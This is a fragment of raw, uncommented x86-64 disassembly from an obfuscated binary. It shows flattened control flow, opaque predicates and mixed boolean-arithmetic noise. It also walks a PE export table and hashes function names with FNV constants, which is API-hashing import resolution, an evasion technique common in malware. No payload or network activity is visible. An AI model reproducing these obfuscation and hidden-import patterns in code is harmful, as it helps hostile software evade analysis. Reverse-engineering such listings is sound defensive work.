xor r11d, 0x49d346c5
or r11d, ebx
xor edx, 0x38284010
and edx, ecx
mov ebx, r12d
xor ebx, 0x40008000
and ebx, r12d
and r14d, 0x40008000
xor r14d, 0x4a849408
and ebx, 0x44018902
or ebx, r14d
mov ecx, r12d
mov r8d, r12d
mov esi, r12d
and esi, 0x8010000c
and ecx, 0x420021
or ecx, 0x45880090
xor ecx, ebx
and r8d, 0x3bac76d0
xor r8d, 0x8afe54bd
xor esi, ecx
xor esi, 0x1a04008
and esi, r8d
xor ecx, 0x41a14902
or ecx, r8d
xor ecx, esi
mov ebx, r11d
mov esi, r11d
and esi, 0xb2e0d7b3
and ebx, 0x4d1f284c
or ebx, 0x22804682
xor ebx, esi
mov r14d, ebx
xor r14d, 0x6f9f6ece
mov esi, edx
and esi, 0xb2e0d7b3
or esi, 0x45082048
mov r13d, edx
and r13d, 0x4d1f284c
xor r13d, esi
mov r8d, ebx
xor r8d, 0x98385838
and r8d, r14d
mov esi, r13d
xor esi, 0x8170804
mov r15d, r13d
xor r15d, 0x4fc10d
and r15d, esi
mov r14d, ebx
or r14d, 0x858c909
or r13d, 0xf7a736f6
xor r13d, 0xf7eff7ff
or r13d, r15d
mov esi, r14d
and esi, 0x8899f000
and ebx, 0x772606f6
or ebx, esi
mov esi, r11d
xor ebx, r8d
xor r14d, 0x9878d939
and r14d, r8d
mov r8d, r11d
and esi, 0x9e366bbf
xor esi, edx
xor r8d, edx
not edx
or edx, r11d
xor ebx, 0x9838d030
or r14d, ebx
mov ebx, r12d
xor r14d, r13d
mov r15d, r12d
and r11d, 0x61c99440
or r11d, 0x21040b3
xor esi, r11d
and edx, r8d
mov r8d, esi
xor r8d, edx
xor r8d, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, edx
or esi, r8d
mov edx, esi
and edx, 0xc0508439
or edx, 0x892802
and esi, 0x3faf7bc6
xor esi, edx
mov r11d, esi
xor r11d, 0x892802
mov r8d, r14d
and r8d, 0x4e3f9ca4
mov r13d, r11d
and r13d, 0xb1c0635b
xor r13d, r8d
mov edx, r11d
xor r11d, r14d
xor esi, 0xff76d7fd
or esi, r14d
and r14d, 0xb1c0635b
or r14d, 0xc081c80
xor r13d, r14d
and edx, 0x4e3f9ca4
or edx, 0xb040624a
xor edx, r13d
xor edx, 0x43b78135
and esi, r11d
or esi, edx
mov r8d, esi
not r8d
mov edx, esi
and edx, 0x4de1c672
mov r11d, esi
or r11d, 0x4de1c672
mov r14d, r11d
and r14d, 0x26011ca7
and r8d, 0x901e2108
or r8d, r14d
mov r14d, esi
xor r14d, 0x4010422
and r14d, edx
not edx
xor r14d, r8d
mov r8d, esi
and r8d, 0x420
xor r11d, edx
and edx, 0x26010887
add r8d, edx
add r8d, 0xd1f0c210
xor r8d, r14d
mov r13d, edi
mov r14d, edi
xor r15d, edi
xor edi, 0x8d80cfea
and edi, r12d
xor ecx, 0x4de1c672
xor r8d, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r11d
not esi
or esi, r8d
mov edx, ecx
and edx, 0xb7fb9257
or edx, 0x42d28
and ecx, 0x48046da8
xor ecx, edx
mov r8d, ecx
mov edx, esi
and edx, 0xb7fb9257
or edx, 0x40004d08
and esi, 0x48046da8
xor esi, edx
mov edx, esi
xor edx, 0xf7fbdf5f
xor ecx, 0x48004080
and ecx, edx
mov r11d, eax
not r11d
xor r8d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r8d
mov r8d, r10d
xor r8d, 0xb2a695c4
or esi, ecx
and r13d, 0xa631f20f
xor r13d, 0x8400c20a
xor r14d, 0x2bb13de5
and ebx, 0x59ce0df0
or ebx, 0x86009003
and r12d, 0xa631f20f
xor r12d, ebx
and r13d, r9d
or r13d, r14d
mov ecx, r12d
xor r12d, 0xdfce9df3
and r12d, r13d
not r13d
xor ecx, r13d
xor ecx, 0xdfce9df3
and ecx, r13d
or r12d, ecx
mov ecx, r15d
xor ecx, 0x8d80cfea
or edi, ecx
mov r13d, r15d
xor r13d, 0x727f3015
xor r15d, edi
xor r15d, 0x727f3015
or r13d, edi
not r13d
or r13d, r15d
mov ecx, r13d
and ecx, 0xcde4750
or ecx, 0x21209829
and r13d, 0xf321b8af
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xdedf67d6
and ecx, r12d
xor r13d, r12d
xor r13d, 0xdedf67d6
or r13d, ecx
mov ecx, r13d
and ecx, 0xa94c8ce7
lea r14d, [rcx + 0x42217110]
xor ecx, 0xa94c8ce7
mov r9d, r14d
and r9d, 0x4804a0a0
mov ebx, r13d
xor ebx, 0x81480c46
and ebx, ecx
and ecx, 0x20000001
or ecx, r9d
mov edi, ecx
and edi, 0x600080a1
and r14d, 0x8042000
add edi, r14d
add edi, 0x5021e54
xor edi, ebx
xor edi, 0x33805e5d
xor ecx, 0x20000001
and ecx, ebx
or ecx, edi
and r13d, 0x56b37318
xor r13d, ecx
mov ecx, r13d
xor ecx, 0x283593b1
mov edx, r13d
xor edx, 0xd7ca6c4e
and edx, ecx
xor r13d, edx
xor r13d, 0xd7ca6c4e
or r13d, edx
mov ecx, r13d
and ecx, 0xab469b10
or ecx, 0x50b0608d
and r13d, 0x54b964ef
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xaf4f9f72
mov edx, esi
not edx
and edx, ecx
xor r13d, 0x50b0608d
and r13d, esi
or edx, r13d
and r13d, ecx
and ecx, esi
xor edx, ecx
xor r13d, edx
mov ecx, eax
and ecx, 0x4093dba5
or ecx, 0x3e64205a
mov edx, eax
and edx, 0xbf6c245a
xor edx, ecx
mov r14d, edx
xor r14d, 0xc19bdfa5
mov ebx, r10d
xor ebx, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r8d
and edx, ebx
and r14d, r8d
or r14d, edx
xor r14d, edi
mov r8d, r14d
not r8d
mov edx, eax
and edx, 0xd240d802
or edx, 0x2049
or r11d, 0xde6c8a14
and r11d, 0xff7c8ab4
xor r11d, edx
mov edx, r11d
xor edx, 0xca20210
and eax, 0xcaf275d
lea ebx, [rax - 0x2dbf27fe]
xor r11d, 0xd754f
and r11d, ebx
xor eax, 0x2d3107b0
and eax, edx
or eax, r11d
mov r15d, r10d
xor r15d, 0x41f64d66
mov edx, r15d
and edx, 0x84a6247d
mov ebx, eax
and ebx, 0x84afa47d
or ebx, 0x29001a80
and eax, 0x7b505b82
and r10d, 0x98000
add edx, r10d
add edx, 0x19105080
and r15d, 0x7b505b82
xor r15d, edx
xor r15d, eax
xor r15d, ebx
mov r9d, r15d
xor r9d, 0xcfefb5ff
mov r12d, r9d
and r12d, 0x260dd63e
mov eax, r15d
and eax, 0xd9f229c1
mov r10d, r8d
mov ecx, r8d
mov r11d, r9d
or r9d, r8d
and r8d, 0x20cc21a
or r8d, 0x332424
and r10d, 0x90c00100
or r10d, 0x10
and ecx, 0x493228c1
or ecx, 0x8080440c
xor ecx, r10d
mov edx, r14d
or edx, 0xdbfeebdb
xor edx, r8d
xor edx, ecx
xor edx, 0xa6beb606
mov ecx, r14d
xor ecx, 0xd9f229c1
xor r14d, 0x260dd63e
or r14d, ecx
not r14d
or r14d, edx
mov ecx, r12d
not ecx
mov edx, eax
xor edx, 0xefeff7ff
mov edi, r15d
xor edi, 0x200c436
and edi, r12d
mov ebx, eax
xor ebx, 0xcd3d5188
and ebx, edx
or eax, 0xdd2d5988
and r11d, 0x91008
xor r12d, edx
xor edx, ecx
and ecx, 0xc5044100
add ecx, r11d
add ecx, 0x2082a441
xor ecx, edi
mov esi, eax
and esi, 0x451651c1
and r15d, 0xc02000
or r15d, esi
xor eax, 0xdd3d5988
and eax, ebx
and ebx, 0xd9fb29c9
xor ebx, r15d
xor ebx, 0x41100180
or eax, ebx
xor eax, ecx
xor eax, 0x38abbcc9
or edx, r12d
not edx
or edx, eax
xor edx, r14d
mov eax, r9d
not eax
and eax, edx
xor r9d, edx
xor r9d, eax
mov esi, r13d
and esi, 0x1f489344
lea eax, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, r13d
and edx, 0xd338e252
or edx, 0x2c47198d
mov ebx, r13d
and ebx, 0x2cc71dad
xor ebx, edx
mov edx, ebx
xor edx, 0x330f8ac9
mov edi, r13d
not edi
xor ebx, 0xccf07536
and ebx, edi
mov r14d, edx
and r14d, r13d
or r14d, ebx
and r14d, edx
mov r10d, r9d
and r10d, 0xe0b76cbb
lea edx, [r10 + 0x1c000300]
mov ebx, r9d
and ebx, 0x1f489344
xor ebx, edx
mov dword [rbp + 0x4c4], ebx
mov edx, eax
and edx, 0x12086e0
xor r13d, 0x8480104
and r13d, ecx
and ecx, 0x16001000
or ecx, edx
xor ecx, 0x96027819
or r13d, ecx
mov ecx, r13d
xor ecx, 0x8540002
and ecx, 0x8d56825a
mov edx, r13d
and edx, 0x12287da5
or edx, ecx
xor edx, 0xb557ca28
mov r11d, r13d
xor r11d, 0x9722fef9
mov ecx, r11d
and ecx, 0xa001040
or ecx, edx
and eax, 0x55d88b24
xor esi, 0x3569a797
or esi, eax
mov eax, esi
xor eax, 0x7f79bff7
and eax, ecx
not ecx
mov edi, r14d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, ecx
or eax, esi
and esi, edx
and edx, ecx
xor eax, edx
or esi, eax
mov ebx, r14d
and ebx, 0xd5decb2c
mov eax, ebx
xor eax, 0x4912a796
mov edx, eax
or edx, 0x5d4314bb
mov ecx, r14d
or ecx, 0xaabdffd7
xor ecx, edx
mov r15d, r14d
xor r15d, 0x22202040
and r15d, edi
xor ebx, 0xd5decb2c
mov r12d, ebx
or ebx, edi
not edi
mov edx, r14d
and edx, 0x20200000
mov r8d, edi
and r8d, 0x2006240
add edx, r8d
add edx, 0x4c400028
xor edx, r15d
mov r8d, edx
xor r8d, 0xecfc892c
mov r15d, ecx
xor ecx, 0x2a3197d7
and ecx, r8d
xor r15d, 0x6000
xor edx, 0x130376d3
and edx, r15d
or edx, ecx
mov r15d, dword [rbp + 0x4c4]
xor r15d, 0xfcb76fbb
and r15d, r9d
xor r10d, 0xe0b76cbb
and r12d, 0x504a8308
and eax, 0x859448b4
or eax, r12d
mov ecx, r14d
and ecx, 0xa203442
and edi, 0xa59548b5
or edi, ecx
xor edi, eax
xor edi, 0xdeeefffa
and edi, ebx
or edi, edx
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, r13d
xor eax, 0x130881e4
and eax, r11d
mov ecx, r13d
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and r13d, 0x281501
or r13d, edx
xor r13d, eax
xor r13d, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, r13d
mov r13d, 0x58a11e19
mov eax, r14d
and eax, 0xdbd780fa
or r11d, r14d
and r14d, 0x24287f05
or r14d, 0x43d68078
xor r14d, eax
xor r14d, ecx
xor r14d, 0x98010082
and r14d, r11d
or r14d, edi
or r14d, esi
mov eax, r9d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r9d, 0xe0342421
and r9d, r10d
or r9d, ecx
mov eax, r9d
xor eax, 0xef7cb561
mov edx, r9d
and edx, 0x30240e
mov ecx, eax
and ecx, 0xf1cfcab1
or ecx, edx
mov ebx, ecx
xor ebx, 0xe303540
mov edx, ebx
and edx, 0x74b34cb1
and ecx, 0x814ca20e
or ecx, edx
or ebx, 0xa45bbedf
mov esi, ecx
xor esi, 0x51a47060
and esi, ebx
mov ebx, r15d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r8d, r15d
and r8d, 0x5ba44120
xor r8d, ebx
mov ebx, esi
not ebx
and ecx, 0x18000
mov r11d, esi
and r11d, 0x10c048b0
mov edi, ebx
and edi, 0xec26020a
mov edx, esi
and edx, 0x1182445
or edx, ecx
lea ecx, [rdi + r11]
add edi, r11d
add edi, 0x2018000
and r10d, 0x40a44020
xor edi, edx
mov edx, r10d
xor edx, 0xfce65bba
xor ecx, 0xec26120a
and ecx, edx
mov edx, esi
and edx, 0x718c06f1
and ebx, 0x8473e80e
or ebx, edx
or esi, r10d
xor ebx, r10d
lea edx, [r10 + 0x319a445]
xor edi, 0x281c020
and edx, edi
xor ebx, 0x718c06f1
and ebx, esi
or ebx, ecx
or ebx, edx
mov ecx, r8d
xor ecx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, ebx
not ebx
and ebx, ecx
mov ecx, r9d
and r9d, 0xc09208a5
and eax, 0x3a25f71a
or eax, r9d
xor ecx, r15d
xor eax, r15d
mov edx, r15d
not edx
or ebx, r8d
xor ecx, 0xef7cb561
and ecx, edx
xor eax, 0x3aa7ff9e
or eax, ecx
mov ecx, eax
and ecx, 0xd49ab90b
mov edx, eax
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, ecx
mov ecx, edx
xor ecx, 0x6f77eefc
mov edi, ebx
xor edi, 0x2b6546f4
and edi, ecx
not eax
and eax, ebx
xor ebx, 0xd49ab90b
xor edx, 0x90881103
and edx, ebx
or eax, edx
or eax, edi
xor eax, r14d
imul ecx, eax, 0x1000193
mov rax, qword [rbp + 0x468]
add rax, 2
mov rdi, qword [rbp + 0x410]
jmp 0x14007e201
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x4d8]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x468], rax
mov ecx, 0xc2cb542e
mov edx, eax
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xdae09d2a
jg 0x14007fe20
cmp ecx, 0xc2cb542e
je 0x14007fe3a
cmp ecx, 0xc508309f
je 0x14007fe59
cmp ecx, 0xcc44ccd7
jne 0x14007fdf0
jmp 0x14007fed2
cmp ecx, 0xdae09d2b
je 0x14007fe60
cmp ecx, 0xf10f0061
je 0x14007fe79
cmp ecx, 0x68e1357e
jne 0x14007fdf0
jmp 0x14007fe90
mov rcx, qword [rbp + 0x4d8]
cmp rcx, qword [rbp + 0x468]
mov ecx, 0xdae09d2b
mov edx, 0x68e1357e
cmove ecx, edx
xor edx, edx
jmp 0x14007fdf0
mov ecx, 0xf10f0061
jmp 0x14007fdf0
mov rcx, qword [rbp + 0x4d8]
cmp qword [rcx + 0x30], 0
setne dl
mov ecx, 0x68e1357e
jmp 0x14007fdf0
mov ecx, dword [rbp + 0x3e0]
jmp 0x14007fdf0
mov eax, edx
mov ecx, dword [rbp + 0x488]
jmp 0x14007fde1
mov rax, qword [rbp + 0x498]
mov rax, qword [rax]
mov rdi, qword [rax + 0x30]
mov eax, 0x62abb3bd
jmp 0x14007e190
mov eax, dword [rbp + 0x4c8]
cmp eax, 0xef148ef1
mov eax, 0x52b0d9bb
mov ecx, 0xa588d843
cmove eax, ecx
jmp 0x14007e190
and al, 1
mov byte [rbp + 0x4b0], al
cmp byte [rbp + 0x4b0], 0
mov eax, 0x681faaa4
mov ecx, 0x3a8cbc47
cmovne eax, ecx
jmp 0x14007e190
mov rax, qword [rbp + 0x420]
mov rax, qword [rbp + 0x428]
mov qword [rax], rdi
mov eax, 0x96c966fb
jmp 0x14007dfc0
mov rax, qword [rbp + 0x428]
mov rbx, qword [rax]
mov eax, dword [0x1400f2728]
mov ecx, dword [0x1400f272c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4e7]
cmp ecx, 0xa
setl byte [rbp + 0x4d7]
mov qword [rbp + 0x408], rbx
test rbx, rbx
mov eax, 0xff49b602
mov ecx, 0x3cf8dfa8
cmove ecx, eax
mov dword [rbp + 0x3f0], ecx
mov eax, 0xae03be73
cmp eax, 0xc6c4881e
jg 0x14007ffa0
cmp eax, 0x9e7ae754
je 0x140084e03
cmp eax, 0xae03be73
jne 0x14007ff60
mov cl, byte [rbp + 0x4e7]
cmp byte [rbp + 0x4d7], 0
mov eax, 0xc6c4881f
mov edx, 0xdfc809e7
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14007ff60
cmp eax, 0xc6c4881f
je 0x1400826b4
cmp eax, 0xdfc809e7
jne 0x14007ff60
lea rax, [0x1400f2118]
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov qword [rbp + 0x458], rax
mov eax, 0xc831482b
nop word cs:[rax + rax]
cmp eax, 0x47171e81
je 0x140084d94
cmp eax, 0xfedc7e55
je 0x140080010
cmp eax, 0xc831482b
jne 0x14007ffe0
cmp qword [rbp + 0x458], 0
mov eax, 0x47171e81
mov ecx, 0xfedc7e55
cmove eax, ecx
jmp 0x14007ffe0
mov eax, 0xf096ec8f
jmp 0x140080030
mov eax, 0xf4f3728d
xor ecx, ecx
mov qword [rbp + 0x418], rcx
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0xfdc56460
jg 0x140080090
cmp ecx, 0xe4d7019d
jle 0x140080100
cmp ecx, 0xf096ec8e
jg 0x1400801bc
cmp ecx, 0xe4d7019e
je 0x140080333
cmp ecx, 0xe7ddab48
je 0x14008033d
mov eax, ecx
cmp ecx, 0xef446db0
jne 0x140080030
mov eax, 0xd3efdb13
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x140080030
cmp ecx, 0x2f7a9bcd
jle 0x140080180
cmp ecx, 0x3cf8dfa7
jg 0x140080253
cmp ecx, 0x2f7a9bce
je 0x140080351
cmp ecx, 0x3673769e
je 0x140080017
mov eax, ecx
cmp ecx, 0x3cd3d0fb
jne 0x140080030
cmp dword [rbp + 0x464], 2
mov eax, 0xf4f3728d
mov ecx, 0xf15ebf89
cmove eax, ecx
mov rcx, qword [rbp + 0x3d8]
mov qword [rbp + 0x418], rcx
jmp 0x140080030
cmp ecx, 0xa6b69c52
jg 0x1400802a4
cmp ecx, 0x955956c9
je 0x140080390
cmp ecx, 0x9787c234
je 0x1400803a9
mov eax, ecx
cmp ecx, 0xa223f304
jne 0x140080030
mov eax, dword [0x1400f2730]
mov ecx, dword [0x1400f2734]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x49028e28
mov ebx, 0xa6b69c53
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [rbp + 0x494]
mov dword [rbp + 0x4a8], ecx
cmovl eax, ebx
jmp 0x140080030
cmp ecx, 0x6d3192d
jle 0x1400802d4
cmp ecx, 0x6d3192e
je 0x1400803ee
cmp ecx, 0xb7ab891
je 0x140080402
mov eax, ecx
cmp ecx, 0x250c805a
jne 0x140080030
mov eax, 0x573755e2
jmp 0x140080030
mov eax, dword [rbp + 0x3f0]
cmp ecx, 0xf096ec8f
je 0x140080030
cmp ecx, 0xf15ebf89
je 0x140080017
mov eax, ecx
cmp ecx, 0xf4f3728d
jne 0x140080030
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x420]
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400f2734], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor dl, cl
xor dl, bl
and cl, bl
or cl, dl
mov eax, ebx
xor al, cl
mov edx, 0x9787c234
mov eax, 0xe4d7019e
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x9787c234
cmovne eax, ebx
test cl, cl
cmovne eax, edx
jmp 0x140080030
cmp ecx, 0x3cf8dfa8
je 0x1400823ad
cmp ecx, 0x49028e28
je 0x14008249b
mov eax, ecx
cmp ecx, 0x573755e2
jne 0x140080030
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x250c805a
mov ecx, 0xef446db0
cmove eax, ecx
cmp dword [0x1400f2734], 0xa
cmovl eax, ecx
jmp 0x140080030
cmp ecx, 0xa6b69c53
je 0x1400824ab
cmp ecx, 0xaf1eb1d7
jne 0x14008268b
mov eax, 0xd3efdb13
mov rcx, qword [rbp + 0x498]
mov qword [rbp + 0x3f8], rcx
jmp 0x140080030
cmp ecx, 0xfdc56461
je 0x140082522
mov eax, ecx
cmp ecx, 0xff49b602
jne 0x140080030
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x1400f2734], 0xa
setge dl
setl al
mov ebx, eax
and cl, al
xor al, r8b
and bl, r8b
xor cl, bl
or dl, r8b
and dl, al
xor dl, cl
mov eax, 0x250c805a
mov ecx, 0x573755e2
cmovne eax, ecx
jmp 0x140080030
mov eax, 0x9787c234
jmp 0x140080030
mov eax, 0xa223f304
mov dword [rbp + 0x494], 0
jmp 0x140080030
mov eax, dword [rbp + 0x4a8]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0x3cd3d0fb
mov dword [rbp + 0x464], 1
jmp 0x140080030
cmp byte [rbp + 0x4ed], 0
mov eax, 0xb7ab891
mov ecx, 0x6d3192e
cmovne eax, ecx
jmp 0x140080030
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x1400f2734], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
or cl, bl
xor bl, r8b
and bl, cl
and dl, r8b
xor dl, al
xor dl, bl
mov eax, 0xe4d7019e
mov ecx, 0xaf1eb1d7
cmovne eax, ecx
jmp 0x140080030
mov eax, 0x3cd3d0fb
mov dword [rbp + 0x464], 2
jmp 0x140080030
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r9b
cmp eax, 0xa
setl r10b
mov ecx, r10d
xor cl, r9b
mov ebx, edx
and bl, r10b
xor bl, cl
mov ebx, 0x17954bb8
mov esi, 0x9b012d00
cmovne ebx, esi
test edx, edx
mov edi, 0x9b012d00
cmove edi, ebx
cmp eax, 0xa
cmovl edi, esi
test cl, cl
cmove edi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, edi
cmove ebx, esi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov esi, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x4c4], edx
cmovge ebx, edi
mov dword [rbp + 0x448], ebx
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp + 0x438], edi
mov r14d, edi
and r14d, 1
sete r8b
mov dword [rbp + 0x4c0], esi
cmp esi, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r8b
mov edx, ebx
xor dl, 1
and r14b, r11b
or r14b, dl
xor r14b, bl
mov edx, r14d
xor dl, 1
and al, r8b
or al, dl
or r11b, r8b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov esi, 0x71946ac1
cmovne esi, edx
test al, 1
cmove esi, edx
test cl, 1
mov eax, dword [rbp + 0x4a8]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov ebx, 0x8353906e
cmovne esi, ebx
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r15d, dword [rdx + rax*4]
add r15, rcx
test r14b, r14b
mov r8d, 0x8353906e
cmovne r8d, esi
test r11b, r11b
cmove r8d, esi
or r10b, r9b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r10d, 0x811c9dc5
mov dword [rbp + 0x44c], r8d
jmp 0x1400805a0
mov rax, qword [rbp + 0x468]
mov rax, qword [rbp + 0x468]
mov eax, 0x9b012d00
nop word [rax + rax]
cmp eax, 0x17954bb7
jg 0x140082100
cmp eax, 0xbd0b03e5
jg 0x140082270
cmp eax, 0x87ce9d3c
je 0x1400822c1
cmp eax, 0x9b012d00
je 0x1400822dd
cmp eax, 0x9fdcb46a
jne 0x1400805a0
mov dword [rbp + 0x490], r10d
mov dword [rbp + 0x48c], esi
mov dword [rbp + 0x3e8], edi
mov dword [rbp + 0x3e0], r9d
mov qword [rbp + 0x400], r15
test byte [rbp + 0x438], 1
movsx r11d, byte [rbp + 0x4ee]
mov eax, dword [rbp + 0x4e8]
mov dword [rbp + 0x410], eax
sete byte [rbp + 0x4bc]
cmp dword [rbp + 0x4c0], 0xa
setl byte [rbp + 0x4ac]
mov eax, 0x462bec05
jmp 0x140080650
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x3117fdc3
jle 0x1400806a0
cmp eax, 0x58a11e18
jg 0x140081070
cmp eax, 0x3117fdc4
je 0x1400810a8
cmp eax, 0x462bec05
jne 0x140080650
movzx ecx, byte [rbp + 0x4bc]
cmp byte [rbp + 0x4ac], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140080650
cmp eax, 0x1f53ad1a
jg 0x140081090
cmp eax, 0x8353906e
je 0x1400810c7
cmp eax, 0xb9e70da7
jne 0x140080650
mov r15d, dword [rbp + 0x4c8]
mov eax, r15d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r15d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov eax, ecx
and eax, 0xe1770bb
mov r13d, ecx
and r13d, 0xf1e88f44
or r13d, 0x6022002
xor r13d, eax
xor r13d, 0x81550b9
or r13d, ecx
mov eax, r15d
and eax, 0x6098fcd3
or eax, 0xf210028
mov edx, r15d
and edx, 0x9f67032c
xor edx, eax
mov ebx, edx
xor ebx, 0x1367093
mov ecx, edx
or ecx, 0xf1e88f44
xor ecx, 0xffe98f6c
or ecx, ebx
mov ebx, edx
xor ebx, 0xfec98f6c
or ebx, ecx
xor ecx, edx
xor ecx, 0x1367093
and ecx, ebx
mov edx, r13d
and edx, 0xee181f2d
mov ebx, r13d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, edx
mov edx, ecx
mov eax, ecx
not r13d
and r13d, ecx
xor ecx, 0x11e7e0d2
xor edx, 0xb4b1d84f
and edx, ecx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, edx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r13d, eax
or r13d, ebx
not r13d
mov eax, r13d
and eax, 0xa4519b98
and r13d, 0x5bae6467
or r13d, 0x84109000
xor r13d, eax
mov eax, r13d
xor eax, 0xdfbef467
mov r14d, r13d
and r14d, 0x5dfaf697
xor r13d, 0x824402f0
and r13d, eax
mov eax, r14d
xor eax, r13d
xor eax, 0x400290
xor r14d, 0x400290
and r14d, r13d
or r14d, eax
mov r9d, r14d
xor r9d, 0xf7bc1db4
mov eax, r14d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r14d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r14d
xor esi, 0x11d0e05f
or esi, edx
mov edx, esi
not edx
and edx, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov eax, edx
xor eax, ecx
xor eax, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edx
mov edx, eax
and edx, 0xe66cfdeb
and eax, 0x19930214
or eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0xecc1695
mov edx, eax
xor edx, 0xe8a0eb7e
mov r12d, ecx
xor r12d, 0xf9b3eb7e
mov esi, eax
xor esi, 0x175f1481
mov ebx, ecx
xor ebx, 0x844653a6
and ebx, r12d
or ecx, 0x820a4727
mov edi, eax
or edi, 0x7df5b8d8
xor edi, 0x7fffbcd9
mov r10d, eax
xor r10d, 0x6aaaac59
and r10d, edx
or r10d, edi
mov edx, ecx
and edx, 0x888217a6
and eax, 0x4440010
or eax, edx
xor ecx, 0x864e57a7
and ecx, ebx
and ebx, 0xecc5695
xor ebx, eax
xor ebx, 0x4441684
or ecx, ebx
xor ecx, r10d
or esi, r12d
mov eax, esi
and eax, 0xecc1695
xor eax, ecx
xor eax, 0xecc1695
not esi
and esi, ecx
or esi, eax
mov eax, esi
and eax, 0x3d6ad4f5
mov r12d, esi
and r12d, 0xc2940808
mov ebx, esi
or ebx, 0xc2952b0a
mov ecx, esi
and ecx, 0xc2952b0a
mov r10d, eax
xor r10d, 0x1501f783
and r10d, ebx
xor eax, 0x3d6ad4f5
mov edx, eax
and edx, 0x354014c4
and ebx, 0x4a2ee339
or ebx, edx
or eax, ecx
xor ebx, ecx
